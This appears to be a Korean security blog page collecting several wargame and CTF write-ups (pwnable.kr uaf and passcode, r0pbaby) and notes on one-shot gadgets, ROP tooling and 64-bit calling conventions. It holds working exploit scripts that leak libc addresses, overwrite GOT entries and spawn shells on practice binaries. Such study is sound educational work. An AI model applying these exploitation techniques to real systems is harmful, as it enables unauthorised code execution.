분류 전체보기

[pwnable.kr] uaf - 8 pt

2018. 5. 31. 19:28


하늘을 나는 슬라임? 같은 녀석이다.

생각해보니 날개달린 슬라임은 한번도 본적없어...



Use After Free 문제이다. babyuaf라고 해도 될듯... 딱봐도 입문자를 위한 문제의 냄새가 난다.



접속해서 파일들을 보면 이전 문제와 다를게 없다. 차이점이라 할 정도라면 cpp소스라는거?

일단 소스를 보자


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
 
class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
 
class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
    }
    virtual void introduce(){
        Human::introduce();
        cout << "I am a nice guy!" << endl;
    }
};
 
class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
 
int main(int argc, char* argv[]){
    Human* m = new Man("Jack"25);
    Human* w = new Woman("Jill"21);
 
    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
 
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
 
    return 0;    
}
 
cs


위와 같다.

uaf버그는 메모리를 할당하고 free한 후 다시 같은 크기의 메모리를 할당할 때 생기는 버그로 위에서 Man m을 free하고 after메뉴에서 m와 같은 크기로 메모리를 할당하게 되면 Man m이 할당되었던 장소를 재사용하게 되어 m이 free됬음에도 그 주소에 우리가 원하는 값을 새로 써 재사용할 수 있는 버그이다.


일단 void give_shell()이란 함수를 확인할 수 있으니 저걸 호출할 수 있으면 쉘을 딸수있어 Flag를 획득하기 좋을 것 같다. 

gdb-peda로 디버깅하면서 분석해봐야겠다. 그런데 2. after 메뉴가 메로리를 할당할때, 파일로 부터 읽어오므로 현폴더에는 권한이 없어 tmp폴더로 이동하여 진행하였다.



일단 use할 때 어떻게 진행되는지 보았다.  introduce()의 주소를 rdx에 넣어 call하게 되는것 같다. 

rdx에 넣기위해 rax에 먼저 값을 로드하고 거기에 8을 더한 주소에 값을 가져와 호출하게 되는 방식이다.



참고로 여기서 give_shell()함수의 주소를 찾을수 있었다. 0x401550에 주소가 저장되어있다.



일단 저렇게 넣어놓고, free한 후 after 2번을 통해 8바이트를 2번 할당해보았다. 

2번 할당한 이유는 m와 w 둘다 재사용하기 위해서이다. 안그러면 프로그램이 use에서 죽어버려서 ...

(여기서 8바이트로 할당한 이유는 m와 w가 둘다 introduce()라는 함수만 가지고 있어서 8바이트만 할당된것같다.)

(이게 그런데 문제서버말고 내 서버에서 컴파일해서 돌렸을 때는 48정도를 할당하지않으면 안덮여진다 ㅡㅡ;)



보면 알겠지만 rax가 0x41414141...49로 되어있다. 성공적으로 m과 w에 우리가 원하는 값이 재할당된것...

이제 저기에 0x401550-8의 값이 로드되게하면 된다.


1
uaf@ubuntu:/tmp/myria$ (python -'print("\x48\x15\x40\x00"+"\x00"*4)'> data
cs





성공~

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] leg  (0) 2018.06.08
[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] passcode - 10 pt  (0) 2018.05.28
[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27
[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26

제목 그대로다.


magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.

아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
from pwn import *
import string
 
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
elf = ELF("./r0pbaby")
conn = process("./r0pbaby")
    
def get_func(func_name):
    conn.sendlineafter(":","2")
    conn.sendlineafter(":", func_name)
    conn.recvuntil(":")
    func_addr = conn.recvline().strip()
    func_addr = int(func_addr, 16)
    return func_addr
    
def oneshot_ret(addr, size):
    conn.sendlineafter(":","3")
    conn.sendlineafter(":",size)
    conn.sendline("A"*8+p64(addr))
    
print("")
oneshot_offset = 0x46428
 
conn.recvuntil("4) Exit")
system_addr = get_func("system")
 
offset = libc.symbols['system']
libc_base = system_addr-offset
 
oneshot_addr = libc_base + oneshot_offset
 
log.info("libc_base    : 0x%x " % libc_base)
log.info("system_addr  : 0x%x " % system_addr)
log.info("oneshot_addr : 0x%x " % oneshot_addr)
 
oneshot_ret(oneshot_addr ,"16")
conn.interactive()
 
cs

물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서


"A"*8  |  pop rdi  |  &"/bin/sh"   |  system  


익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿

'Write-up > Pwnable' 카테고리의 다른 글

[34C3 CTF 2017] readme_revenge  (0) 2018.07.02
[Byte Bandits CTF] Tale of a Twisted Mind  (0) 2018.06.02
[Plaid CTF 2018] shop python solve code 2  (0) 2018.05.22
[Plaid CTF 2018] shop python solve code 1  (0) 2018.05.22
[CSAW '17 CTF] pilot  (0) 2018.04.30

※ magic gadget (onshot gadget) 이란


execve() 함수 안에 "/bin/sh"를 호출해주는 부분이 존재하는데, magic gadget 은 바로 이 부분을 지칭한다. 이 부분을 찾기 위해서는 라이브러리에서 찾아보면된다.

우리는 libc 기본 주소만 알고 있다면 offset을 통해 해당 부분을 호출하여 쉘을 얻을 수 있다. 그렇기에 "magic gadget" 이라고 한다. 하지만 magic gadget은 로컬과 xinetd로 돌아가는 서비스에서만 가능하다.


oneshot gadget 찾아주는 툴 : https://github.com/david942j/one_gadget

사용법 : http://tribal1012.tistory.com/143



참고로 위의 oneshot gadget을 찾아주는 툴은  64bit에서만 쓸 수 있다. 32bit에서 쓰려고해서 써보니...

리턴된 주소에서 execve에 들어갈 인자를 edi에 넣어주는 등 64bit기반으로 동작한다 ㅡㅡ; 게다가 애초에 매직 가젯은 32bit에서 안써진다고 한다.

후... 안써져서 괜히 삽질만 열심히 했네 ^^

64bit는 rip를 기준으로 주소를 불러올 수 있기 때문에 바로 부를수 있으나 32bit는 그게 안된다나 뭐라나... 

해커스쿨에 이에 관한 질문과 답변한 내용이 있더라... (http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1828)


는 아니다 32bit도 된다. 되는 것이 있다.



이렇게 eax나 esp를 기준으로 해서 작동하는 것들은 다 oneshot 가젯인데, 32bit에서 작동되는 oneshot가젯이고



rax나 rsp 등을 기준으로 작동하는 execve("/bin/sh")는 64bit에서 작동하는 oneshot가젯이다.


'Pwnable!!' 카테고리의 다른 글

setvbuf란?  (0) 2018.07.10
bash drop privileges  (0) 2018.07.06
call instruction  (0) 2018.05.27
ROP gadget 찾기 (gdb-peda, rp++)  (0) 2018.05.26
linux에서 lib64의 base address 확인 및 팁  (0) 2018.05.24

[pwnable.kr] passcode - 10 pt

2018. 5. 28. 15:51


이번에 풀어볼 녀석은 이 달걀 껍질을 쓴 새?같은 녀석이다.



문제는 위와 같다. C code 컴파일할때 에러없이 컴파일 되지만, warning을 표시해준다고 하는데 , 먼저 접속해서 무슨 파일들이 주어지는지 확인해보자.



위와 같은 파일들이 주어지고, flag 권한을 보아 passcode를 이용해서 flag를 봐야할것같다.

소스파일을 보면 아래와 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
 
void login(){
    int passcode1;
    int passcode2;
 
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
 
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
 
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
            printf("Login OK!\n");
            system("/bin/cat flag");
        }
    else{
        printf("Login Failed!\n");
        exit(0);
    }
}
 
void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}
 
int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
 
    welcome();
    login();
 
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}
 
cs


위와 같은 소스를 컴파일하면 컴파일은 되지만 경고메세지를 출력해준다. 

scanf를 사용할 때 포맷을 잘못설정해서 이러한 경고메세지를 띄워주는데, 그래도 컴파일은 되는 것을 볼 수 있다.



경고메세지가 뜨는 이유는 scanf("%d", passcode)에서 &가 빠진것때문이다. 이렇게 컴파일하면 scanf로 받은 정수값이 저장되는 장소는 passcode의 변수값을 주소로하는 곳이다. &를 붙여주면 passcode의 주소값이 scanf의 인자로 들어가 passcode에 입력받은 정수값이 저장되지만, 여기서는 &를 붙여주지않아 passcode의 값이 scanf의 인자로 들어가 passcode의 값을 주소로하는 곳에 정수값이 저장되게된다.


그래서 뭐 저 scanf가 있는 login()함수에서는 입력한 값이 어디 저장되는지 몰라서 segment fault가 계속 뜨게된다.(아마 쓸수없는 메모리영역에 자꾸 쓰려해서 죽는듯...)

그래서 login()함수 전에 나오는 welcome()함수를 보면 사용자로부터 100자를 입력받는데, 여기에 login 함수에 영향을 미치는 부분이 있다.



welcome에서는 ebp-0x70에서 scanf로 입력받은 값을 저장한다.




login에서는 ebp-0x10의 장소에 passcode의 값이 들어가 있는데, welcome에서 "A"를 100개 입력하고 보면 passcode변수의 값이 덮여써져있는 것을 볼 수 있다.



위와같이 "A" 100개 입력으로 ebp-0x10의 영역이 덮인것을 볼 수 있다.

그렇다면 welcome함수에서 "A"* 96개와 나머지 4바이트를 써 passcode1 변수값을 덮을 수 있고, passcode1의 변수값이 scanf의 인자로 들어가므로

got overwrite를 할 수 있다. 그럼 우리는 위 프로그램의 흐름을 조종하여  system("/bin/cat flag"); 을 실행하게 할 수 있다.



어느 함수를 overwrite할까 하다가 exit함수의 got를 system("/bin/cat flag"); 가 있는 곳으로 덮어쓰우기로 했다.

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import string
 
conn = process("/home/passcode/passcode")
 
conn.sendline("A"*96+"\x18\xa0\x04\x08")
conn.sendline("134514135"# 0x080485d7
conn.sendline("trash!")
 
conn.interactive()
 
cs


exit함수의 got를 if문을 무사히 통과한 주소로 덮어씌우는 코드...

scanf에서 %d로 입력받으므로 정수값으로 주소값을 전달해줬고, passcode2에 정수값을 입력하면 세그먼트폴트가 뜨기때문에 문자열을 넣어 패스해줬다.



굿굿

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] cmd2  (0) 2018.06.08
[pwnable.kr] uaf - 8 pt  (0) 2018.05.31
[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27
[pwnable.kr] echo1 - 25 pt  (0) 2018.05.26
[pwnable.kr] coin1 - 6 pt  (0) 2018.05.15

call instruction

2018. 5. 27. 09:47

CALL (Call a Procedure)

함수 호출시 사용된다. JMP명령어 같이 프로그램의 실행 흐름이 변경되지만 JMP명령와 다른 점은 되돌아올 리턴 어드레스(CALL 다음 명령)를 스택에 저장한다는 것이다. 되돌아올 주소를 저장하기 떄문에 함수 호출 후 원래 위치로 실행 흐름을 되돌릴 수 있다. 호출한 함수가 일을 다 마치면 원래 위치에서 다시 프로그램이 실행될 수 있음을 의미한다.


call & jmp 명령의 차이

  - call 명령은 함수가 호출되기전 Return adress 인 EIP(다음명령주소)를 Stack 최상단에 넣고 함수를 호출

[pwnable.kr] echo1 - 25 pt

2018. 5. 26. 19:42

ROP gadget을 좀 더 효율적으로 찾기위해서 툴을 사용하는게 좋다. 

기존에는 아래와 같이 objdump와 grep을 이용해 찾아 사용했었다.


1
objdump -d echo1 | grep 'pop' -A2 --color=auto
cs


그런데 이렇게 찾는것도 한계가 있고, 잘 못찾아주는 경우가 많다.

여기서 gdb-peda에 보면 ropsearch와 ropgadget이란 기능이 있는데, 바이너리에서 gadget찾기가 용이하다.

(참고로 바이너리가 실행된 상태(run)에서만 찾는 것이 가능하다.)



ropgadget을 사용하면 자주 사용하는 유용한 gadget들을 한번에 찾아준다.

ropsearch는 지정된 gadget을 찾아주는 것인데, 이를 사용하려면 NASM을 설치해야한다.



NASM을 설치하면 위와 같이 사용가능하다. "pop ?"로 search하면 아래와 같이 주소값과 함께 출력된다.

그런데 이것도 단점이 있는것이.. libc 등에서 gadget offset을 찾으려고 gdb-peda로 실행해서 rop명령어를 쓰면


실행이 안되서 못찾는다 ㅡㅡ;;


이때는 rp++를 쓰자. https://github.com/0vercl0k/rp



Tip.

linux에서 lib64의 base address에서 첫 4byte 는 보통 "\x7fELF" or "\x7f\x45\x4c\x46"이다 그래서 vmmap을 보고 libc의 base address의 첫 4byte를 확인하고 libc인지 확인할 수 있다.


$ldd를 통해서 어떤 라이브러리를 사용하고 있는지 확인할 수 있다.


$ readelf -s /lib/x86_64-linux-gnu/libc.so.5 | grep 'system' 을 이용하여 라이브러리에서 해당 함수의 주소를 찾을 수 있다.

$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6  | grep /bin/sh 을 이용해서 libc에서 /bin/sh를 찾을 수 있다.


출처: http://gnu-cse.tistory.com/61 [GNU]


64bit ROP & 64bit BOF

2018. 5. 24. 00:28

최근 64bit BOF 및 ROP 문제를 접하게 되었는데, 그 전까지는 x86, 32bit만 다루어봐서 하루종일 삽질을 함과 동시에 대체 "왜 모두 제대로했는데... 익스중에 죽어버리는 거지?!??"하면서 계속해서 원인 파악을 위한 디버깅과 여러가지 시도 등... 굉장히 삽질을 하였지만 결국 왜인지 알 수 없었다.


그래서 64bit 관련해서 ROP, BOF를 찾아보니 32bit와는 꽤나 다른 것을 알 수 있었다..(아...)


먼저 이건 알고있던 사항이지만 32bit와는 다르게 64bit환경에서는 레지스터, 데이터의 크기가 기본 8byte이다.

또 64bit에서는 접근 주소의 범위가 첫 47bit까지이다. 만약 BOF를 일으켜 ret를 조작하려할 때, 0x00007fffffffffff보다 큰 값이 들어오면 에러가 나면서 종료되게 된다.


이제 몰랐지만 이제 알게된 내용. 64bit에서 함수 호출방식이 32bit와 다르다는 것!

32bi의 경우에는 인자가 ret 다음에 위치하게 되어, ebp를 기준으로 이를 참조하는 방식이다.

+----------------------+ |...higher addresses...| +----------------------+ | 1000 | <-- sleep() looks here for its param (on 32-bit) +----------------------+ | [return addr] | <-- where esp will be when sleep() is entered +----------------------+ | [sleep's addr] | <-- return addr of previous function +----------------------+ |...lower addresses....| <-- other data from previous function +----------------------+

And on 64-bit:

+----------------------+
|...higher addresses...|
+----------------------+ <-- sleep()'s param is in rdi, so it's not needed here
|     [return addr]    | <-- where rsp will be when sleep() is entered
+----------------------+
|    [sleep's  addr]   | <-- return addr of previous function
+----------------------+
|...lower addresses....| <-- other data from previous function
+----------------------+

We'll dive into deeper detail of how to set this up and see way more stack diagrams shortly. But let's start from the beginning!


하지만 64bit는 다르다... 64bit에서는 6개짜기의 인자가 레지스터에 들어간다.

첫번째 인자는 rdi 레지스터에 들어가고, 순서는 아래와 같다.


-----register field-----

rdi : 첫번째인자

rsi: 두번째인자

rdx: 세번째인자

rcx: 네번째인자

r8: 다섯번째인자

r9: 여섯번째인자

-------stack field-------

r10(%rsp): 일곱번째인자

r11, 0x8(%rsp): 여덟번째인자

r12 

....


[64BIT CALLING CONVENTION]

- function@plt + rdi + rsi + rdx + rcx



그래서 스택에는 인자가 따로 들어가지않는다.


bof가 나서 프로그램이 죽으면 ret instruction에서 죽게되는데(이걸 몰라서 계속 여기서 죽는데 지금까지 이유를 몰랐다.)

보통은 rsp가 잘못되거나 rsp가 가리키는 값(rip가 되는값)이 잘못되었기 때문인데...


여기서 인자를 32bit처럼 올려주고 실행하려고 하면 당연히 인자는 rdi레지스터부터 가져오므로 잘못된 호출로 죽게된다. (스택은 아무의미가 없다 ㅡㅡ;)


그러므로 함수호출전에 pop rdi 같은 가젯들을 이용해 인자를 넣어주는게 좋다.



+ Recent posts